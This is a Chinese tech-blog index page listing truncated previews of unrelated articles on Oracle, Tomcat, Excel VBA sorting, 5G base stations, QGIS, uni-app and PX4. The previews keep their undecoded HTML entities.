目录 一、版本 &#xff08;1&#xff09;历史 &#xff08;2&#xff09;11g和12c管理方式区别 11g 12C &#xff08;3&#xff09;各个版本对操作系统要求 二、分类 &#xff08;1&#xff09;分为桌面类和服务器类 &#xff08;2&#xff09;分为企业版和标准版 三…
阅读更多...
后端（一）：Tomcat

后端（一）：Tomcat

我们之前的前端是被我们一笔带过的&#xff0c;那不是我们要讲的重点&#xff0c;而这里的后端则是重点。本章先来认识认识后端的基础。 Tomcat 是什么 我们先来聊聊什么叫做tomcat&#xff0c;我们熟悉的那个是汤姆猫&#xff1a; 这和我们Java世界中的Tomcat 不是同一只猫&…
阅读更多...
包含合并单元格的表格快速排序

包含合并单元格的表格快速排序

实例需求&#xff1a;现需要将原料配方成分表按照“原料含量”从高到低排序&#xff0c;如下图所示。由于表格中包含合并单元格&#xff0c;因此Excel的排序功能无法正常。 示例代码如下。 Sub demo()Dim data(), i, idx, k, slstRow Cells(Rows.Count, 2).End(xlUp).RowReDi…
阅读更多...
02-项目系统架构

02-项目系统架构

1、为何选择xxxxx 1.1、高并发场景有哪些&#xff1f; 商品秒杀&#xff0c;双11 微信支付宝平台 微博突发热点 用户操作日志 购票平台 1.2、为何选择xxxxx 业务复杂度高于淘宝双11&#xff0c;考验个人程序设计能力 动态库存 选座功能 线上线下 持续高并发业务&…
阅读更多...
5G宏基站的形态5G基站长什么样？

5G宏基站的形态5G基站长什么样？

据说&#xff0c;全国建了约273.3万个5G基站。 真是春城无处不飞花&#xff0c;5G遍布千万家。 今天我们换个轻松的话题&#xff0c;来看看春光下的5G宏基站。 胜日寻芳泗水滨&#xff0c;无边光景一时新。 等闲识得东风面&#xff0c;万紫千红总是春。 古人在春游时寻芳&am…
阅读更多...
QGIS 对 GeoJson 文件数据进行压缩

QGIS 对 GeoJson 文件数据进行压缩

项目场景 地图开发&#xff0c;友商提供的是边界Shapefile文件&#xff0c;文件比较大&#xff0c;例如某个文件就 29.2 M &#xff0c;这么大的数据&#xff0c;在echarts 上显示地图&#xff0c;前端会很卡&#xff0c;特别是有地图下钻的时候&#xff0c;体验很不好&#x…
阅读更多...
【终极计算平台】上海道宁为您提供​Wolfram技术，支持跨桌面、云、服务器和移动设备的强大工作流程

【终极计算平台】上海道宁为您提供​Wolfram技术，支持跨桌面、云、服务器和移动设备的强大工作流程

Wolfram帮助世界 加快研究、教育、技术发展和 革新的步伐 无论您所在任何领域 无论您需要任何应用 Wolfram技术都是您的终极计算平台 Mathematica 具有 涵盖所有技术计算领域的 将近 6,000 个内置函数—— 所有这些都经过精心制作 使其完美地 整合在Mathematica系统中…
阅读更多...
黑马优购学习笔记

黑马优购学习笔记

1. uni-app 简介 uni-app 是一个使用 Vue.js 开发所有前端应用的框架。开发者编写一套代码&#xff0c;可发布到 iOS、Android、 H5、以及各种小程序&#xff08;微信/支付宝/百度/头条/QQ/钉钉/淘宝&#xff09;、快应用等多个平台。 详细的 uni-app 官方文档&#xff0c;请翻…
阅读更多...
PX4之commander详解

PX4之commander详解

如前所述commander的作用主要处理各种事件&#xff0c;调度控制系统的运行&#xff0c;事件包括遥控输入、用户指令、状态变更等。调度的作用主要设置控制系统运行的变量和模式&#xff0c;以使控制系统按照用户期望的模式运行&#xff0c;实现不同的控制功能。控制系统主要由n…
阅读更多...
优美PC端创就业喜报内容更改

优美PC端创就业喜报内容更改

阅读更多...
PIC 使能485/422_Part2.1使能485_Tx_Only

PIC 使能485/422_Part2.1使能485_Tx_Only

1.需求 工作中需要把目前设备的单向232转为485/422模式&#xff0c;实现双向通讯&#xff0c;目前查找相关资料。突然想到一件事&#xff0c;我是否能让232现有的单向上发线同时连工控机的tx,rx&#xff0c;然后靠协议&#xff0c;来定时切换PIC一侧的tx rx?PIC可能不支持这个…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023